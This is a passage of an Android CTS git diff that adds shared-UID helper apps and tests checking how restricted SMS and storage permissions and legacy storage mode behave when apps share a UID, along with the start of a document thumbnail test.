+        assertThat(isPermissionGranted(PKG_THAT_REQUESTS_PERMISSIONS, READ_CONTACTS)).isTrue();
+        assertThat(isPermissionGranted(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS)).isTrue();
     }
 
     @Test
diff --git a/tests/tests/permission2/AndroidTest.xml b/tests/tests/permission2/AndroidTest.xml
index 9e78d64..bcab153 100644
--- a/tests/tests/permission2/AndroidTest.xml
+++ b/tests/tests/permission2/AndroidTest.xml
@@ -39,6 +39,12 @@
         <option name="push" value="CtsStoragePermissionsUserOptInSdk22.apk->/data/local/tmp/cts/permissions2/CtsStoragePermissionsUserOptInSdk22.apk" />
         <option name="push" value="CtsStoragePermissionsUserOptInSdk28.apk->/data/local/tmp/cts/permissions2/CtsStoragePermissionsUserOptInSdk28.apk" />
         <option name="push" value="CtsStoragePermissionsUserOptOutSdk29.apk->/data/local/tmp/cts/permissions2/CtsStoragePermissionsUserOptOutSdk29.apk" />
+        <option name="push" value="CtsLegacyStorageNotIsolatedWithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsLegacyStorageNotIsolatedWithSharedUid.apk" />
+        <option name="push" value="CtsLegacyStorageIsolatedWithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsLegacyStorageIsolatedWithSharedUid.apk" />
+        <option name="push" value="CtsLegacyStorageRestrictedWithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsLegacyStorageRestrictedWithSharedUid.apk" />
+        <option name="push" value="CtsLegacyStorageRestrictedSdk28WithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsLegacyStorageRestrictedSdk28WithSharedUid.apk" />
+        <option name="push" value="CtsSMSRestrictedWithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsSMSRestrictedWithSharedUid.apk" />
+        <option name="push" value="CtsSMSNotRestrictedWithSharedUid.apk->/data/local/tmp/cts/permissions2/CtsSMSNotRestrictedWithSharedUid.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
new file mode 100644
index 0000000..6ee6120
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsLegacyStorageIsolatedWithSharedUid",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "current",
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ]
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/AndroidManifest.xml
new file mode 100644
index 0000000..9054889
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission2.cts.legacystoragewithshareduid.isolated"
+    android:versionCode="1"
+    android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application android:label="CtsLegacyStorageIsolatedWithSharedUid" />
+</manifest>
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
new file mode 100644
index 0000000..63c2a14
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsLegacyStorageNotIsolatedWithSharedUid",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "current",
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ]
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/AndroidManifest.xml
new file mode 100644
index 0000000..179f19a
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission2.cts.legacystoragewithshareduid.notisolated"
+    android:versionCode="1"
+    android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application android:label="CtsLegacyStorageNotIsolatedWithSharedUid"
+         android:requestLegacyExternalStorage="true" />
+</manifest>
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
new file mode 100644
index 0000000..50ac715
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsLegacyStorageRestrictedSdk28WithSharedUid",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "current",
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ]
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/AndroidManifest.xml
new file mode 100644
index 0000000..89cadcd
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission2.cts.legacystoragewithshareduid.restrictedsdk28"
+    android:versionCode="1"
+    android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application android:label="CtsLegacyStorageRestrictedSdk28WithSharedUid" />
+</manifest>
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
new file mode 100644
index 0000000..78068f9
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsLegacyStorageRestrictedWithSharedUid",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "current",
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ]
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/AndroidManifest.xml
new file mode 100644
index 0000000..57911471
--- /dev/null
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission2.cts.legacystoragewithshareduid.restricted"
+    android:versionCode="1"
+    android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application android:label="CtsLegacyStorageRestrictedWithSharedUid" />
+</manifest>
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
new file mode 100644
index 0000000..9806571
--- /dev/null
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSMSNotRestrictedWithSharedUid",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "current",
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ]
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/AndroidManifest.xml
new file mode 100644
index 0000000..83c43a2
--- /dev/null
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission2.cts.smswithshareduid.notrestricted"
+    android:versionCode="1"
+    android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+    <uses-permission android:name="android.permission.READ_SMS" />
+
+    <application android:label="CtsSMSNotRestrictedWithSharedUid" />
+</manifest>
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
new file mode 100644
index 0000000..ec6d128
--- /dev/null
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
@@ -0,0 +1,29 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSMSRestrictedWithSharedUid",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "current",
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ]
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/AndroidManifest.xml b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/AndroidManifest.xml
new file mode 100644
index 0000000..a497392
--- /dev/null
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission2.cts.smswithshareduid.restricted"
+    android:versionCode="1"
+    android:sharedUserId="android.permission2.cts.restrictedpermissionuser.shareduid">
+
+    <uses-permission android:name="android.permission.READ_SMS" />
+
+    <application android:label="CtsSMSRestrictedWithSharedUid" />
+</manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index 996630a..e6b4256 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -16,6 +16,7 @@
 
 package android.permission2.cts;
 
+import static android.Manifest.permission.READ_SMS;
 import static android.permission.cts.PermissionUtils.eventually;
 import static android.permission.cts.PermissionUtils.isGranted;
 import static android.permission.cts.PermissionUtils.isPermissionGranted;
@@ -104,6 +105,18 @@
 
     private static final String PKG = "android.permission2.cts.restrictedpermissionuser";
 
+    private static final String APK_USES_SMS_RESTRICTED_SHARED_UID =
+            "/data/local/tmp/cts/permissions2/CtsSMSRestrictedWithSharedUid.apk";
+
+    private static final String PKG_USES_SMS_RESTRICTED_SHARED_UID =
+            "android.permission2.cts.smswithshareduid.restricted";
+
+    private static final String APK_USES_SMS_NOT_RESTRICTED_SHARED_UID =
+            "/data/local/tmp/cts/permissions2/CtsSMSNotRestrictedWithSharedUid.apk";
+
+    private static final String PKG_USES_SMS_NOT_RESTRICTED_SHARED_UID =
+            "android.permission2.cts.smswithshareduid.notrestricted";
+
     private static final long UI_TIMEOUT = 5000L;
 
     private static @NonNull BroadcastReceiver sCommandReceiver;
@@ -681,6 +694,19 @@
         assertNoRestrictedPermissionWhitelisted();
     }
 
+    @Test
+    @AppModeFull
+    public void shareUidBetweenRestrictedAndNotRestrictedApp() throws Exception {
+        runShellCommand(
+                "pm install -g --restrict-permissions " + APK_USES_SMS_RESTRICTED_SHARED_UID);
+        runShellCommand("pm install -g " + APK_USES_SMS_NOT_RESTRICTED_SHARED_UID);
+
+        eventually(
+                () -> assertThat(isGranted(PKG_USES_SMS_RESTRICTED_SHARED_UID, READ_SMS)).isTrue());
+        // The apps share a UID, hence the whitelisting is shared too
+        assertThat(isGranted(PKG_USES_SMS_NOT_RESTRICTED_SHARED_UID, READ_SMS)).isTrue();
+    }
+
     private static void installRestrictedPermissionUserApp(@NonNull SessionParams params)
             throws Exception {
         final CountDownLatch installLatch = new CountDownLatch(1);
@@ -727,11 +753,10 @@
                     1, intent, PendingIntent.FLAG_ONE_SHOT).getIntentSender();
 
             // Commit as shell to avoid confirm UI
-            runWithShellPermissionIdentity(() ->
-                session.commit(intentSender)
-            );
-
-            installLatch.await(UI_TIMEOUT, TimeUnit.MILLISECONDS);
+            runWithShellPermissionIdentity(() -> {
+                session.commit(intentSender);
+                installLatch.await(UI_TIMEOUT, TimeUnit.MILLISECONDS);
+            });
         } finally {
             getContext().unregisterReceiver(installReceiver);
         }
@@ -1113,6 +1138,8 @@
     @After
     public void uninstallApp() {
         runShellCommand("pm uninstall " + PKG);
+        runShellCommand("pm uninstall " + PKG_USES_SMS_NOT_RESTRICTED_SHARED_UID);
+        runShellCommand("pm uninstall " + PKG_USES_SMS_RESTRICTED_SHARED_UID);
     }
 
     private static @NonNull Context getContext() {
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedStoragePermissionSharedUidTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedStoragePermissionSharedUidTest.java
new file mode 100644
index 0000000..1d0ded2
--- /dev/null
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedStoragePermissionSharedUidTest.java
@@ -0,0 +1,265 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission2.cts;
+
+import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.OPSTR_LEGACY_STORAGE;
+import static android.permission.cts.PermissionUtils.eventually;
+import static android.permission.cts.PermissionUtils.isGranted;
+import static android.permission2.cts.RestrictedStoragePermissionSharedUidTest.StorageState.DENIED;
+import static android.permission2.cts.RestrictedStoragePermissionSharedUidTest.StorageState.ISOLATED;
+import static android.permission2.cts.RestrictedStoragePermissionSharedUidTest.StorageState.NON_ISOLATED;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static java.lang.Integer.min;
+
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+
+@AppModeFull(reason = "Instant apps cannot access other app's properties")
+@RunWith(Parameterized.class)
+public class RestrictedStoragePermissionSharedUidTest {
+    private static final String LOG_TAG =
+            RestrictedStoragePermissionSharedUidTest.class.getSimpleName();
+
+    public enum StorageState {
+        /** The app has non-isolated storage */
+        NON_ISOLATED,
+
+        /** The app has isolated storage */
+        ISOLATED,
+
+        /** The read-external-storage permission cannot be granted */
+        DENIED
+    }
+
+    /**
+     * An app that is tested
+     */
+    private static class TestApp {
+        private static @NonNull Context sContext =
+                InstrumentationRegistry.getInstrumentation().getContext();
+        private static @NonNull AppOpsManager sAppOpsManager =
+                sContext.getSystemService(AppOpsManager.class);
+        private static @NonNull PackageManager sPackageManager = sContext.getPackageManager();
+
+        private final String mApk;
+        private final String mPkg;
+
+        public final boolean isRestricted;
+        public final boolean hasRequestedLegacyExternalStorage;
+
+        TestApp(@NonNull String apk, @NonNull String pkg, boolean isRestricted,
+                @NonNull boolean hasRequestedLegacyExternalStorage) {
+            mApk = apk;
+            mPkg = pkg;
+
+            this.isRestricted = isRestricted;
+            this.hasRequestedLegacyExternalStorage = hasRequestedLegacyExternalStorage;
+        }
+
+        /**
+         * Assert that the read-external-storage permission was granted or not granted.
+         *
+         * @param expectGranted {@code true} if the permission is expected to be granted
+         */
+        void assertStoragePermGranted(boolean expectGranted) {
+            eventually(() -> assertThat(isGranted(mPkg, READ_EXTERNAL_STORAGE)).named(
+                    this + " read storage granted").isEqualTo(expectGranted));
+        }
+
+        /**
+         * Assert that the app has non-isolated storage
+         *
+         * @param expectGranted {@code true} if the app is expected to have non-isolated storage
+         */
+        void assertHasNotIsolatedStorage(boolean expectHasNotIsolatedStorage) {
+            eventually(() -> runWithShellPermissionIdentity(() -> {
+                int uid = sContext.getPackageManager().getPackageUid(mPkg, 0);
+                if (expectHasNotIsolatedStorage) {
+                    assertThat(sAppOpsManager.unsafeCheckOpRawNoThrow(OPSTR_LEGACY_STORAGE, uid,
+                            mPkg)).named(this + " legacy storage mode").isEqualTo(MODE_ALLOWED);
+                } else {
+                    assertThat(sAppOpsManager.unsafeCheckOpRawNoThrow(OPSTR_LEGACY_STORAGE, uid,
+                            mPkg)).named(this + " legacy storage mode").isNotEqualTo(MODE_ALLOWED);
+                }
+            }));
+        }
+
+        int getTargetSDK() throws Exception {
+            return sPackageManager.getApplicationInfo(mPkg, 0).targetSdkVersion;
+        }
+
+        void install() {
+            if (isRestricted) {
+                runShellCommand("pm install -g --restrict-permissions " + mApk);
+            } else {
+                runShellCommand("pm install -g " + mApk);
+            }
+        }
+
+        void uninstall() {
+            runShellCommand("pm uninstall " + mPkg);
+        }
+
+        @Override
+        public String toString() {
+            return mPkg.substring(PKG_PREFIX.length());
+        }
+    }
+
+    /**
+     * Placeholder for "no app". The properties are chosen that when combined with another app, the
+     * other app always decides the resulting property,
+     */
+    private static class NoApp extends TestApp {
+        NoApp() {
+            super("", PKG_PREFIX + "(none)", true, false);
+        }
+
+        void assertStoragePermGranted(boolean ignored) {
+            // empty
+        }
+
+        void assertHasNotIsolatedStorage(boolean ignored) {
+            // empty
+        }
+
+        @Override
+        int getTargetSDK() {
+            return 10000;
+        }
+
+        @Override
+        public void install() {
+            // empty
+        }
+
+        @Override
+        public void uninstall() {
+            // empty
+        }
+    }
+
+    private static final String APK_PATH = "/data/local/tmp/cts/permissions2/";
+    private static final String PKG_PREFIX = "android.permission2.cts.legacystoragewithshareduid.";
+
+    private static final TestApp[] TEST_APPS = new TestApp[]{
+            new TestApp(APK_PATH + "CtsLegacyStorageNotIsolatedWithSharedUid.apk",
+                    PKG_PREFIX + "notisolated", false, true),
+            new TestApp(APK_PATH + "CtsLegacyStorageIsolatedWithSharedUid.apk",
+                    PKG_PREFIX + "isolated", false, false),
+            new TestApp(APK_PATH + "CtsLegacyStorageRestrictedWithSharedUid.apk",
+                    PKG_PREFIX + "restricted", true, false),
+            new TestApp(APK_PATH + "CtsLegacyStorageRestrictedSdk28WithSharedUid.apk",
+                    PKG_PREFIX + "restrictedsdk28", true, true),
+            new NoApp()};
+
+    /**
+     * First app to be tested. This is the first in an entry created by {@link
+     * #getTestAppCombinations}
+     */
+    @Parameter(0)
+    public @NonNull TestApp app1;
+
+    /**
+     * Second app to be tested. This is the second in an entry created by {@link
+     * #getTestAppCombinations}
+     */
+    @Parameter(1)
+    public @NonNull TestApp app2;
+
+    /**
+     * Run this test for all combination of two tests-apps out of {@link #TEST_APPS}. This includes
+     * the {@link NoApp}, i.e. we also test a single test-app by itself.
+     *
+     * @return All combinations of two test-apps
+     */
+    @Parameters(name = "{0} and {1}")
+    public static Iterable<Object[]> getTestAppCombinations() {
+        ArrayList<Object[]> parameters = new ArrayList<>();
+
+        for (int firstApp = 0; firstApp < TEST_APPS.length; firstApp++) {
+            for (int secondApp = firstApp + 1; secondApp < TEST_APPS.length; secondApp++) {
+                parameters.add(new Object[]{TEST_APPS[firstApp], TEST_APPS[secondApp]});
+            }
+        }
+
+        return parameters;
+    }
+
+    @Test
+    public void checkExceptedStorageStateForAppsSharingUid() throws Exception {
+        app1.install();
+        app2.install();
+
+        int targetSDK = min(app1.getTargetSDK(), app2.getTargetSDK());
+        boolean isRestricted = app1.isRestricted && app2.isRestricted;
+        boolean hasRequestedLegacyExternalStorage =
+                app1.hasRequestedLegacyExternalStorage || app2.hasRequestedLegacyExternalStorage;
+
+        StorageState expectedState;
+        if (isRestricted) {
+            if (targetSDK < Build.VERSION_CODES.Q) {
+                expectedState = DENIED;
+            } else {
+                expectedState = ISOLATED;
+            }
+        } else if (hasRequestedLegacyExternalStorage) {
+            expectedState = NON_ISOLATED;
+        } else {
+            expectedState = ISOLATED;
+        }
+
+        Log.i(LOG_TAG, "Expected state=" + expectedState);
+
+        app1.assertStoragePermGranted(expectedState != DENIED);
+        app2.assertStoragePermGranted(expectedState != DENIED);
+
+        if (expectedState != DENIED) {
+            app1.assertHasNotIsolatedStorage(expectedState == NON_ISOLATED);
+            app2.assertHasNotIsolatedStorage(expectedState == NON_ISOLATED);
+        }
+    }
+
+    @After
+    public void uninstallAllTestPackages() {
+        app1.uninstall();
+        app2.uninstall();
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java b/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java
index 89b231d..0f23543 100644
--- a/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java
@@ -61,6 +61,9 @@
 import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
 import android.database.MatrixCursor;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
 import android.graphics.Point;
 import android.net.Uri;
 import android.os.Bundle;
@@ -77,6 +80,8 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.io.FileOutputStream;
+import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
@@ -420,4 +425,55 @@
         assertEquals(res, mResolver.query(buildSearchDocumentsUri(AUTHORITY, DOC_RED, "moo"), null,
                 Bundle.EMPTY, null));
     }
+
+    @Test
+    public void testGetDocumentThumbnail() throws Exception {
+        // create file and image
+        final String testImagePath =
+                InstrumentationRegistry.getTargetContext().getExternalCacheDir().getPath()
+                        + "/testimage.jpg";
+        final int imageSize = 128;
+        final int thumbnailSize = 32;
+        File file = new File(testImagePath);
+        try (FileOutputStream out = new FileOutputStream(file)) {
+            writeImage(imageSize, imageSize, Color.RED, out);
+        }
+
+        final AssetFileDescriptor res = new AssetFileDescriptor(
+                ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY),
+                0, AssetFileDescriptor.UNKNOWN_LENGTH);
+        final Point size = new Point(thumbnailSize, thumbnailSize);
+        final Bundle opts = new Bundle();
+        opts.putParcelable(ContentResolver.EXTRA_SIZE, size);
+
